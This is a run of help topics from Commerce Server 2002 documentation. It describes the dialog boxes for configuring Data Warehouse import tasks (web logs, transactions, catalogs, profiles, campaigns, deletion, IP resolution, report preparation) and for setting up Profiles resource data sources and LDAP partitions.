ETL Process for the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site

Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task

Reports Based on Web Log File Data

Specifying Data to be Imported into the Data Warehouse


Web Server Log Files Dialog Box

This dialog box lists the log files that will be imported. You can select files on the list you want to import, or cancel the selection for the files you do not want to import.

To add files to the list of log files to be imported

  1. In the Web Server Log Files dialog box, click Cancel.
  2. In the Import Web Server Log dialog box, on the Log File Locations tab, specify the path to the log files you want to import.

For additional instructions about specifying which log files to import, see Specifying the Location of a Log file to the Data Warehouse.

See Also

Specifying Data to be Imported into the Data Warehouse

Workflow for Running DTS Tasks


Advanced Web Log Import Properties, Excludes Tab

Use this dialog box to prevent the following data from being imported into the Data Warehouse:

  • Hits from certain hosts
  • Requests for specific file types or expressions
  • Hits by crawlers

For more information, see Setting Web Log File Exclusions.

The following table shows the options and functions available on the Excludes tab in the Advanced Web Log Import Properties dialog box.

Use this | To do this
Filter excludes by Select an exclude type from the drop-down list to display only that type of exclude. Exclude types can be:
  • Hosts
  • File types
  • File expressions
  • Crawlers

For more information about exclude categories, see Setting Web Log File Exclusions.
Include default crawler list for the exclude criteria | Select to include the default crawler list in the exclude criteria.
Exclude Type | Click to sort the excludes list by exclude type.
Exclude | Click to sort the excludes list by the criteria for the exclude type.
Application | Click to sort the excludes list by application.
Add | Click to open the Excludes dialog box to add a new exclude.
Remove | Click to remove the selected exclude.
Properties | Click to open the Excludes dialog box in which you can view the properties of the selected exclude.

See Also

Setting Web Log File Exclusions

Configuring the Web Server Log Import DTS Task

Best Practices for the Data Warehouse

ETL Process for the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site

Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task

Troubleshooting the Data Warehouse Import Process


Excludes Dialog Box

Use this dialog box to prevent the following data from being imported into the Data Warehouse:

  • Hits from certain hosts
  • Requests for specific file types or expressions
  • Hits by crawlers

For more information, see Setting Web Log File Exclusions.

The following table shows the options and functions available in the Excludes dialog box.

Use this | To do this
Select exclude category Select the type of import exclusion you want to add from the drop-down list. You can exclude the following types of data:
  • Hosts
  • File types
  • File expressions
  • Crawlers

For more information about exclude categories, see Setting Web Log File Exclusions.
Name | Type a name that Commerce Server can use to search the log files. Do not include spaces in the name you type.
All applications within a site | Select to exclude the data from all applications within a site.
Selected applications within a site | Select to specify from which applications within the site to exclude the data.
Select all | Select to exclude the data from all of the applications listed.
Deselect all | Select to cancel the selection of all of the applications listed.

See Also

Setting Web Log File Exclusions

Configuring the Web Server Log Import DTS Task

Best Practices for the Data Warehouse

ETL Process for the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site

Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task


Advanced Web Log Import Properties, Inferences Tab

Use this dialog box to customize the assumptions made during import about users and visits in order to best meet the analysis needs of your organization. Commerce Server attempts to identify users based on the properties in the Web log file. Inferences refer to the process of identifying unique users based on the user and visit data in the Web log file.

For more information, see Setting Web Log Inferences for Users and Setting Web Log Inferences for Visits.

The following table shows the options and functions available on the Inferences tab in the Advanced Web Log Import Properties dialog box.

Use this | To do this
Minutes of idle time to allow before visit ends | Type the number of minutes of idle time before a visit is considered ended. The default time is 30 minutes.
Use Commerce Server identification cookies for inferences | Select to use Commerce Server identification cookies to distinguish individual users.
Use usernames for inferences | Select to use user names to distinguish individual users.
Use custom cookie identifiers | Select to use custom cookies to distinguish individual users.
Enter new custom cookie identifier | Type the identifier of the custom cookie you want to use for inferences.
Add | Click to add the new custom cookie identifier to the inference list.
Remove | Click to remove the selected line from the inference list.

See Also

Setting Web Log Inferences for Users

Setting Web Log Inferences for Visits

Accuracy of Inferences

Configuring the Web Server Log Import DTS Task


Advanced Web Log Import Properties, Query Strings Tab

If your site uses query strings, you can record the query strings in log files and import them into the Data Warehouse. Query strings can be used in your site for searching or running executable files. If you have a list of query strings that your site uses, you can enable reporting on the content associated with those query strings. By default, query strings are stored with the Uniform Resource Identifier (URI) in the Data Warehouse.

Use this dialog box to specify that you want to import Web site query strings, so that the data associated with them can be analyzed.

For more information, see Setting Query String Import Properties for Web Log Files.

The following table shows the options and functions available on the Query Strings tab in the Advanced Web Log Import Properties dialog box.

Use this | To do this
Save query string with URI | Select to save the query string with the Uniform Resource Identifier (URI).
Query String | Click to sort the list by query string name.
Application | Click to sort the list by application name.
Add | Click to open the Query Strings dialog box in which you can add a new query string.
Remove | Click to delete the specified query string.
Properties | Click to open the Query Strings dialog box in which you can edit the specified query string.

See Also

Setting Query String Import Properties for Web Log Files

Configuring the Web Server Log Import DTS Task


Query Strings Dialog Box

If your site uses query strings, you can record the query strings in log files and import them into the Data Warehouse. Query strings can be used in your site for searching or running executable files. If you have a list of query strings that your site uses, you can enable reporting on the content associated with those query strings. By default, query strings are stored with the Uniform Resource Identifier (URI) in the Data Warehouse.

Use this dialog box to specify that you want to import Web site query strings, so that the data associated with them can be analyzed.

For more information, see Setting Query String Import Properties for Web Log Files.

The following table shows the options and functions available in the Query Strings dialog box.

Use this | To do this
Name | Type a name for the query string.
All applications within a site | Select to import the query string from all applications within a site.
Selected applications within a site | Select to specify for which applications within the site to import the query string.
Select data type Select the data type for the query from the drop-down list. Data type options include:
  • String (default)
  • Integer, Date/Time
  • Real
Multivalue data type | Select this option if the query will use a multivalued data type.

See Also

Setting Query String Import Properties for Web Log Files

Configuring the Web Server Log Import DTS Task


Advanced Web Log Import Properties, Default Files Tab

A default file, also known as a directory index file or home page, is the Web page that users reach when they type a site URL that does not contain a specific file name in the Address box of their browser. For example, users reach the www.microsoft/default.htm page when they type either www.microsoft.com or www.microsoft.com/default.htm in the Address box of their browser. Web log files, however, count the two URLs as hits to two different pages.

Use this dialog box to ensure that the hit counts for unique users to your site default page are accurate, allowing for redirects and multiple versions of your URL name.

For more information, see Setting Web Log Default Files.

Notes

  • After you configure default files, you must run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse. For information about running the Configuration synchronization DTS task, see Running the Configuration Synchronization DTS Task.
  • For non-Internet Information Services (IIS) servers, the default settings are Index.html, Index.htm, and Default.htm. If these settings are not correct for your site, change them to ensure that your request count will be accurate.

The following table shows the options and functions available on the Default Files tab in the Advanced Web Log Import Properties dialog box.

Use this | To do this
Truncate top level directory from file system paths | Select to display file name strings without their top-level directories.
Directory index file | Type the name of the file you want to designate as a directory index file.
Add | Click to add the new directory index file to the default file list.
Remove | Click to remove the selected directory index file from the default file list.

See Also

Setting Web Log Default Files

Configuring the Web Server Log Import DTS Task


Advanced Web Log Import Properties, Log Files Tab

Use this dialog box to do the following:

  • Eliminate redundancy that can occur when log files contain requests that overlap in time.
  • Eliminate redundancy or the loss of data that can occur when log files are rotated among servers to keep the log files from getting too large.

If you do not specify time overlap and log file rotation settings, it is impossible to import log files into the Data Warehouse without losing activity data because log files are continually created as your site operates. Your files may contain data for overlapping time periods if you run log files on separate servers, interrupt and resume logging on a single server, accidentally re-import a log file, or concatenate distinct log files.

For more information, see Setting Log File Rotation and Time Overlap Properties.

Note

  • After configuring this dialog box, you must run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse.

The following table shows the options and functions available on the Log Files tab in the Advanced Web Log Import Properties dialog box.

Use this | To do this
Number of minutes that records must overlap | Type the number of minutes that records in the log files must overlap. The default overlap is 30 minutes.
If overlap is detected Select an action to take if log files overlap by more than the overlap minutes specified:
  • Import all records. Imports all requests, including overlapping requests.
  • Stop the import. Does not import the log file containing overlap requests. All other log files are imported.
  • Stop all imports. Stops all log file imports if overlapping requests are detected.
  • Discard records and proceed (default). Discards all overlapping requests and imports the remaining requests.
When import is completed Select an action to take with the open visits at the end of your import process:
  • Store open visits for the next import (default setting). Reconstructs the actual visit as if there were one seamless log file. This option takes slightly more time because the open visits must be called up from the cache at each new import. You must import log files in chronological order for this option to work correctly.
  • Commit open visits to database. The visit count will be higher at the opening and closing of the log file period because visits that span those two periods will be counted twice.
  • Discard open visits. The report count will be lower at the closing of the log file period because visits that have not been closed will be dropped.
Clear Cache | Click to clear the cache of stored data.

See Also

Setting Log File Rotation and Time Overlap Properties

ETL Process for Configuration Synchronization DTS Task


Advanced Web Log Import Properties, Restart Tab

Use this dialog box to specify the behavior of the restart option. If the Data Warehouse encounters an erroneous import log file, the restart option can either automatically stop the entire import process or delete the erroneous log file and continue after all the retry attempts have failed.

For more information, see Setting Web Log Import Restart Properties and Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task.

Note

  • After you configure restart properties, you must run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse.

The following table shows the options available on the Restart tab in the Advance Web Log Import Properties dialog box.

Use this | To do this
Retry exhaust action | Select the action Commerce Server should perform when it has restarted the import process the maximum number of times.
Number of restart attempts | Specify the number of times Commerce Server should attempt to restart an import process that has failed.

To view information about why the Web log import process has stopped, click the Restart Details tab in the Import Web Server Logs dialog box.

See Also

Setting Web Log Import Restart Properties

Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task

Troubleshooting the Data Warehouse Import Process


Transaction Import Properties Dialog Box

The Transaction data import DTS task imports transaction data that is generated on your Web site when a user adds and removes items from a shopping cart, or makes a purchase. After you import this data, you can run reports to analyze the data.

For more information about configuring and running this task, see Running the Transaction Data Import DTS Task.

The following table shows the options and functions available in the Transaction Import Properties dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Operation level | Select Site level from the drop-down list to import log files for the specified site only. Select Data Warehouse level to import log files for all of the sites associated with the Data Warehouse.
Site name | Select from the drop-down list the site that contains the data you want to import.
Data Warehouse name | Select from the drop-down list the Data Warehouse associated with the sites that contain the data you want to import.
Incremental Load | Select to only import new transaction data. (Based on a previous import.)
Full load | Select to import all transaction data.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Running the Transaction Data Import DTS Task

ETL Process for the Transaction Data Import DTS Task

Scripting for the Transaction Data Import DTS Task

Best Practices for the Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running DTS Tasks

Troubleshooting the Data Warehouse Import Process


Catalog Import Properties Dialog Box

The Product catalog import DTS task imports product data from your catalog database(s). Importing product data provides your transaction reports with more descriptive product information than is available in transaction data. You can also run reports to analyze the sale of products.

For more information about configuring and running this task, see Running the Product Catalog Data Import DTS Task.

Notes

  • For information about importing data for virtual catalogs, see Importing Data for Virtual Catalogs.
  • If you perform a Data warehouse level operation to import catalog data for all sites associated with the Data Warehouse, and if two or more sites have catalog and products with the same names, then the Product catalog data import DTS task processes the catalogs as though they have the same properties. If the catalogs do not have the same properties, you must perform a Site level operation.

The following table shows the options and functions available in the Catalog Import Properties dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Operation level | Select Site level from the drop-down list to catalog data for the specified site only. Select Data warehouse level to import catalog data for all of the sites associated with the Data Warehouse.
Site name | This option appears when you perform a Site level operation. Select from the drop-down list the site that contains the catalog data you want to import.
Data Warehouse name | This option appears when you perform a Data Warehouse level operation. Select from the drop-down list the Data Warehouse associated with the sites for which you want to import catalog data.
Incremental load | Select to only import new catalog data generated since the last time you ran the import process.
Full load | Select to import all catalog data in the log file.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Importing Data for Virtual Catalogs

Running the Product Catalog Data Import DTS Task

ETL Process for the Product Catalog Data Import DTS Task

Scripting for the Product Catalog Data Import DTS Task

Best Practices for the Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running DTS Tasks

Troubleshooting the Data Warehouse Import Process


Profile Import Properties Dialog Box

The Profile data import DTS task imports the four types of profile data that Commerce Server collects when users visit your Web site:

  • User profile data
  • Organization profile data
  • Generic profile data
  • Site terms

For more information about configuring and running this task, see Running the Profile Data Import DTS Task.

Note

  • If you have a large number of user profiles and you are performing a full import, you can set the Import start date in the DTS task to import only part of the user profiles.

The following table shows the options and functions available in the Profile Import Properties dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Operation level | Select Site level from the drop-down list to import profile data for the specified site only. Select Data Warehouse level to import profile data for all of the sites associated with the Data Warehouse.
Site name | Select from the drop-down list the site that contains the profile data you want to import.
Data Warehouse name | Select from the drop-down list the Data Warehouse associated with the sites that contain the profile data you want to import.
Query interval (mins.) | Type the time interval for the import. Profile data is imported in time intervals to prevent locking the database table. For example, a Web site with 10,000 users would import profile data in 15-minute intervals.
Import start date | Select a date from the drop-down calendar on which to begin your import.
Incremental load | Select to only import new profile data generated since the last time you ran the import process.
Full load | Select to import all profile data.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Running the Profile Data Import DTS Task

ETL Process for the Profile Data Import DTS Task

Scripting for the Profile Data Import DTS Task

Best Practices for the Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running DTS Tasks

Troubleshooting the Data Warehouse Import Process


Campaign Import Properties Dialog Box

The Campaign data import DTS task imports campaign data from your campaign database(s). After you import the campaign data, you can analyze the success of your campaigns.

For more information about configuring and running this task, see Running the Campaign Data Import DTS Task.

The following table shows the options and functions available in the Campaign Import Properties dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Operation level | Select Site level from the drop-down list to import campaign data for the specified site only. Select Data Warehouse level to import campaign data for all of the sites associated with the Data Warehouse.
Site name | Select from the drop-down list the site that contains the data you want to import.
Data Warehouse name | Select from the drop-down list the Data Warehouse associated with the sites that contain the data you want to import.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Running the Campaign Data Import DTS Task

ETL Process for the Campaign Data Import DTS Task

Scripting for the Campaign Data Import DTS Task

Best Practices for the Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running DTS Tasks

Troubleshooting the Data Warehouse Import Process


Delete Task Dialog Box

The Data deletion DTS task deletes data from the Data Warehouse. You can select to delete detailed log file data for a specified site, or for all of the sites associated with the Data Warehouse.

In addition, you can delete log file data to reduce the size of the Data Warehouse. Or, you can delete all data from the Data Warehouse, for example, if you have imported test data and want to empty the Data Warehouse before importing valid data.

For more information about configuring and running this task, see Running the Data Deletion DTS Task.

The following table shows the options and functions available in the Delete Task dialog box.

Box | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Operation level Select Site level from the drop-down list to delete Web log files for the specified site only.

Select Data warehouse level to delete Web log files for all of the sites associated with the Data Warehouse.

Site | Select the site from the drop-down list for which you want to delete Web log file data.
Data Warehouse name | Select from the drop-down list the Data Warehouse from which you want to delete Web log file data.
Select delete type Select the delete type from the drop-down list:
  • All. Deletes all data (detailed and summarized) from the Data Warehouse. Select this option when you have imported test data and want to empty the Data Warehouse before importing valid data.
  • Web Log Imports. Deletes data from selected Web log files. Select this option to reduce the size of the Data Warehouse.
Delete level Select All data to delete both summary and detail data imported from the selected Web log files.

Select Detail data to delete only detailed data imported from the selected Web log files.
Logs to delete Select from the drop-down list which log files you want to delete:
  • Select specific Web log imports to delete. After you select this option, select the Web log files you want to delete from those listed.
  • Keep a number of current Web log imports. After you select this option, specify the number of current log files to keep.
  • Delete Web log imports by time. After you select this option, specify whether you want to delete log files older than a day, week, month, or year.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Running the Data Deletion DTS Task

ETL Process for the Data Deletion DTS Task

Scripting for the Data Deletion DTS Task

Best Practices for the Data Warehouse

Workflow for Running DTS Tasks

Troubleshooting the Data Warehouse Import Process


Model Builder Properties Dialog Box

The Model Builder DTS task automatically rebuilds analysis models.

You use the Predictor resource to build analysis models manually before you use the Model Builder task to rebuild models. After you build a model manually using the Predictor resource, you can use the Model Builder task to schedule automatic rebuilding of the analysis model.

Each time an analysis model is built, it is based on the data currently in the Data Warehouse. It is important to rebuild analysis models when the data in the Data Warehouse changes, such as after new data is imported into the Data Warehouse.

You can use the Model Builder DTS task to rebuild analysis models for a specified site or for all sites associated with a specified Data Warehouse.

Note

  • Build one analysis model at a time. If you schedule two or more models to be built simultaneously, the Model Builder DTS task will fail. To schedule building multiple models, you must schedule them to run one after another.

The following table shows the options and functions available in the Model Builder Properties dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Archive current model | Select to archive the existing model.
Archived model name suffix | Select from the drop-down list the suffix to add to the archive name.
Archived model name | Type the name for the archived model. If you are using a suffix, Commerce Server will append the suffix to the name you type.
Operation level | Select Site level from the drop-down list to rebuild an analysis model for the specified site only. Select Data Warehouse level to rebuild an analysis model for all of the sites associated with the Data Warehouse.
Site name | Select from the drop-down list the site for which you want to rebuild an analysis model.
Data Warehouse name | Select from the drop-down list the Data Warehouse associated with the sites for which you want to rebuild an analysis model.
Model to rebuild | Select the name of the analysis model you want to rebuild from the drop-down list.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Running the Model Builder DTS Task

ETL Process for the Model Builder DTS Task

Scripting for the Model Builder Data Import DTS Task

Running the Predictor Resource

Workflow for Running DTS Tasks

Troubleshooting Commerce Server Resources


IP Resolution Properties Dialog Box

The IP resolution DTS task resolves Internet Protocol (IP) addresses from the imported user data. IP resolution converts IP addresses, imported from your log files, into domain names. For example, 198.105.232.4 becomes www.microsoft.com. This helps readers of your reports understand the data in the reports more easily.

For more information about configuring and running this task, see Running the IP Resolution DTS Task.

The following table shows the options and functions available in the IP Resolution Properties dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Data warehouse | Select the Data Warehouse from the drop-down list for which IP resolution will be performed.
Resolve IP addresses Select one of the following options:
  • Incremental lookup. Select to resolve only IP addresses that have not already been resolved.
  • Full lookup. Select to resolve all IP addresses.
Local domain name | Type the local domain name of the Domain Name Server (DNS) used as the primary server used to resolve IP addresses.
Number of days to cache result | Type the number of days to store resolved IP addresses. The default is 30 days. If you increase the default, IP resolution will occur more quickly. However, domain name changes may not be caught.
Number of seconds to wait before timeout | Type the number of seconds the DNS server will be searched before an IP address is marked as unresolved. The default is 10 seconds. If you increase the default, you will resolve more IP addresses, but IP resolution will take longer.
Number of lookup requests to keep in batch | Type the number of IP addresses that will be transferred to your DNS server in a batch. The default is 200; the possible range is 10 to 99,999.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Running the IP Resolution DTS Task

ETL Process for the IP Resolution DTS Task

Scripting for the IP Resolution DTS Task

Best Practices for the Data Warehouse

Workflow for Running DTS Tasks

Troubleshooting the Data Warehouse Import Process


Prepare Reports Properties Dialog Box

The Report preparation DTS task populates the online analytical processing (OLAP) cubes with the data in the Data Warehouse. Commerce Server 2002 uses OLAP cubes to organize the summarized data in the Data Warehouse so that the reports run faster in the Analysis modules in Commerce Server Business Desk. The Report preparation DTS task must be run every time data is imported into or deleted from the Data Warehouse.

Notes

  • If multiple sites share a Data Warehouse, run the Report preparation DTS task once to process data for all the sites.

    When run, the Report preparation DTS task processes all the sites in the Data Warehouse. Do not run the DTS task separately for each site; it will impact performance of the Data Warehouse.

  • The first time you run the Report preparation DTS task to populate the OLAP cubes in the Data Warehouse, you must select full cube processing. After you have run the Report preparation DTS task, you can perform incremental cube processing to load only new data into the OLAP cubes.
  • You must also select full cube processing after you delete all data from the Data Warehouse. For information about deleting data from the Data Warehouse, see Running the Data Deletion DTS Task.

For more information about running and configuring this task, see Running the Report Preparation DTS Task.

The following table shows the options and functions available in the Prepare Report Properties dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Data Warehouse | Select the Data Warehouse for which the Report preparation DTS task will be performed.
Sites | Select from the list the site that contains the data you want to use in analysis reports.
Processing Mode Select one of the following options:
  • Full. Select to perform full cube processing.
  • Refresh Data. Select to refresh all data in the cubes.
  • Incremental. Select to perform incremental cube processing.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Running the Report Preparation DTS Task

ETL Process for the Report Preparation DTS Task

Scripting for the Report Preparation DTS Task

Best Practices for the Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running DTS Tasks

Troubleshooting the Data Warehouse Import Process


Cache Warmer Properties Dialog Box

Note

  • You must install Microsoft Office XP Web Components on the computer that is going to run the Report caching DTS task. Office XP Web Components are installed with Office XP. You can also install Office XP Web Components by running the file OWC10.exe, which is located in the following directory on the Commerce Server 2002 CD: \Program Files\Microsoft Commerce Server 2002\Widgets\OWC10.

You use the Report caching DTS task to increase the processing speed of the dynamic OLAP reports run from Commerce Server Business Desk.

The Report caching DTS task pre-executes dynamic OLAP reports stored in the Data Warehouse to get the query results cached on the Analysis server. When this is done, subsequent execution of the reports can be two orders of magnitude faster than the original report execution.

The task queries the ReportPreExec table in the Data Warehouse for a list of reports that are to be pre-executed. It executes only those reports that are of type dynamic OLAP and have ReportIds listed in the table.

You can configure the Report caching DTS task to run in either site mode or Data Warehouse mode:

  • Site mode. The task runs each dynamic OLAP report in the ReportPreExec table, applying the site filter where appropriate for the specified site.
  • Data Warehouse mode. The task runs each report once for each site sharing the Data Warehouse, applying the site filter where appropriate for each individual site.

The Report caching DTS task does not detect if a report execution fails. If a report execution failure occurs, it is ignored and the task proceeds to the next report.

See Also

Running the Report caching DTS Task

ETL Process for the Report caching DTS Task

Scripting for the Report caching DTS Task

Best Practices for the Data Warehouse

Specifying Data to be Imported into the Data Warehouse

Workflow for Running DTS Tasks

Troubleshooting the Data Warehouse Import Process


Profiles Resource UI Help

This section contains the context-sensitive help topics for the Commerce Server 2002 Profiles resource. These topics are available from the Profiles resource user interface by clicking Help in Profiles resource dialog boxes.

This section contains:

  • Profile Properties, Connection Strings Tab
  • Profile Catalog Properties, General Tab
  • <Profile Definition> Properties, General Tab
  • <Profile Definition> Properties, Custom Attribute Tab
  • New Data Source Dialog Box
  • Data Source Dialog Box
  • Partitions Dialog Box
  • Partition Dialog Box
  • System Attributes Dialog Box
  • LDAP Connection String Dialog Box
  • New Data Object Dialog Box
  • New Data Member Dialog Box
  • <Data Member> Properties, General Tab
  • <Data Member> Properties, Properties Tab
  • <Data Object> Properties, Identity Tab
  • New Profile Definition Dialog Box
  • Copy Profile Definition Dialog Box
  • <Data Source> Properties, General Tab
  • Site Terms Properties Dialog Box
  • Custom Attributes Dialog Box


Profile Properties, Connection Strings Tab

You can use Commerce Server Manager to change the Profiles properties connection string. The Profiles properties connection string is set during the unpacking process and is stored in the Administration database.

  • In the Profiles (<server name_database name>) Properties dialog box, on the Connection Strings tab, select the connection string you want to change, and then click Modify.


Profile Catalog Properties, General Tab

You use the Profiles resource to change the properties of a profile catalog.

The following table shows the options and functions available on the General tab in the Profile Catalog Properties dialog box.

Use this | To do this
Name | View the programmatic name of the profile catalog.
Display Name | Edit the display name of the profile catalog. The display name can contain a maximum of 127 Unicode characters.
Description | Edit the description of the profile catalog. The description can contain a maximum of 127 Unicode characters.

See Also

Profile Definitions

Sample Profile Definitions

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Profile Definitions


<Profile Definition> Properties, General Tab

You can use the Profiles resource to change the display name and description for a profile definition property.

The following table shows the options and functions available on the General tab in the <Profile Definition> Properties dialog box.

Use this | To do this
Name | View the programmatic name of the profile definition you are editing.
Display Name | Edit the display name of the profile. The display name can contain a maximum of 127 Unicode characters.
Description | Edit the description of the profile. The description can contain a maximum of 127 Unicode characters.

See Also

Profile Definitions

Sample Profile Definitions

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Profile Definitions


<Profile Definition> Properties, Custom Attribute Tab

You can use the Profiles resource to add custom attributes to a profile definition.

The following table shows the options and functions available on the Custom Attributes tab in the <Profile Definition> Properties dialog box.

Use this | To do this
New | Click to open the Custom Attribute dialog box and create a new custom attribute.
Edit | Click to open the Custom Attribute dialog box and edit the selected custom attribute.
Delete | Click to delete the selected custom attribute.

See Also

Profile Definitions

Sample Profile Definitions

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Profile Definitions


New Data Source Dialog Box

You use the Profiles resource to add new data sources for storing profile data. In addition, you use a data source to map profile definitions to a database or LDAP source. You must create a database or an LDAP source before you can create a data source.

The following table shows the options and functions available in the New Data Source dialog box.

Use this | To do this
Name | Type the programmatic name of the data source. The name can contain a maximum of 127 alphanumeric characters, and the underscore (_) symbol. The name cannot contain spaces.
Display Name | Type the name that will be displayed for the data source. The display name can contain a maximum of 127 Unicode characters.
Description | Type a short description for the data source. The description can contain a maximum of 127 Unicode characters.

See Also

Data Sources

Data Source Partitions

Creating a New Data Source in the Profiles Resource

Creating a Profile Definition with Two Data Sources

Managing Data Sources


Data Source Dialog Box

You use a data source to map profile definitions to a database or LDAP source. You must create a database or an LDAP source before you can create a data source. The Data Source dialog box appears after you click Next in the New Data Source dialog box.

The following table shows the options and functions available in the Data Source dialog box.

Use this | To do this
Source Type | Select the source type, either LDAPV3-Compliant Source or OLEDB-ANSI Provider.

See Also

Data Sources

Data Source Partitions

Creating a New Data Source in the Profiles Resource

Creating a Profile Definition with Two Data Sources

Managing Data Sources


Partitions Dialog Box

You have the option to partition the data source. The Partitions dialog box appears after you click Next in the Data Source dialog box.

The following table shows the options and functions available in the Partitions dialog box.

Use this | To do this
Partitioned Data-Source | Select to create multiple partitions for this data source.
Number of Partitions | View the number of existing partitions for this data source.
Add | Click to open the Partition dialog box and create a new partition.
Edit | Click to open the Partition dialog box and edit the selected partition.

See Also

Data Sources

Data Source Partitions

Creating a New Data Source in the Profiles Resource

Creating a Profile Definition with Two Data Sources

Managing Data Sources


Partition Dialog Box

You have the option to add a new partition or edit the selected partition. The Partition dialog box appears after you click Add in the Partitions dialog box.

The following table shows the options and functions available in the Partition dialog box.

Use this | To do this
Edit | Click to open the LDAP Connection String dialog box if LDAP was selected in the Data Source dialog box. Click to open the Data Link Properties dialog box if OLE DB was selected in the Data Source dialog box.
Test | Click to test the connection string.
Partition Name | Type a programmatic name for this partition. The partition name can contain 127 alphanumeric characters, and the underscore (_) symbol. The name cannot contain spaces.
Default Partition | Select to designate this partition as the default partition.
LDAPv3 Binding Credentials: User Name | Type the user name for the LDAP source.
LDAPv3 Binding Credentials: Password | Type the password for the LDAP source.

See Also

Data Sources

Data Source Partitions

Creating a New Data Source in the Profiles Resource

Creating a Profile Definition with Two Data Sources

Managing Data Sources


System Attributes Dialog Box

You must provide the system attributes. The System Attributes dialog box appears after you click Next in the Partition dialog box.

The following table shows the options and functions available in the System Attributes dialog box.

Use this | To do this
Parent URL | Type the location in the directory tree where new objects will be created. This is relative to the root.
Use the same credentials for all users | Select to force the profile service to use the credentials for this partition for all binds.
Allow Simple Bind | Select to force the profile service to send passwords in clear text.
Dynamic Container | Select to connect to a dynamic store such as Internet Locator Service (ILS).
One-Level | Select this option to perform searches in the directory.
Sub-Tree | Select this option to perform sub-tree searches in the directory.
Domain Name | Type the domain name for the Active Directory server. Use the computer name for non-Active Directory sources.
Discover | Click to retrieve the domain name for the Active Directory server.

See Also

Data Sources

Data Source Partitions

Creating a New Data Source in the Profiles Resource

Creating a Profile Definition with Two Data Sources

Managing Data Sources


LDAP Connection String Dialog Box

If LDAP was selected in the Data Source dialog box, the LDAP Connection String dialog box appears after you click Edit in the Partition dialog box.

The following table shows the options and functions available in the LDAP Connection String dialog box.

Use this | To do this
Server | Type the server name where the LDAP source is located.
Port | Type the port name. The default port is 389.
Connection String | View the connection string.

See Also

Data Sources

Data Source Partitions

Creating a New Data Source in the Profiles Resource

Creating a Profile Definition with Two Data Sources

Managing Data Sources


New Data Object Dialog Box

You use the Profiles resource to add a data object to a data source. You select the table in the database (or the class in the LDAP source) that contains the column where you want to store the data collected for a property in a profile definition.

Before you use the Profiles resource to create a data object, you must create a data source. You must make any changes directly to the database or to the LDAP store. In addition, you must include a data member that is a primary key for the data object.

The following table shows the options and functions available in the New Data Object dialog box.

Use this | To do this
Object Name | Select the data object from the drop-down list that is the name of a table or LDAP class in the underlying data store.
Display Name | Type the name that will be displayed for the data object. The display name can contain a maximum of 127 Unicode characters.
Description | Type a description for the data object. The description can contain a maximum of 127 Unicode characters.
Members in object | View the data members in the selected data object.

See Also

Data Sources

Adding a New Profile Definition

Creating a Profile Definition with Two Data Sources

Managing Data Sources


New Data Member Dialog Box

You must include a new data member that is a primary key for a new data object.

The following table shows the options and functions available in the New Data Member dialog box.

Use this | To do this
Member Name | Select a name for the new data member from the list. The new data member name must be unique for the data object. The data member must have the name of a column or LDAP attribute in the underlying data store. The name can contain a maximum of 127 alphanumeric characters and the underscore (_). The name cannot contain spaces.
Display Name | Type the name you want displayed in the application for the data member. The display name can contain a maximum of 127 Unicode characters.
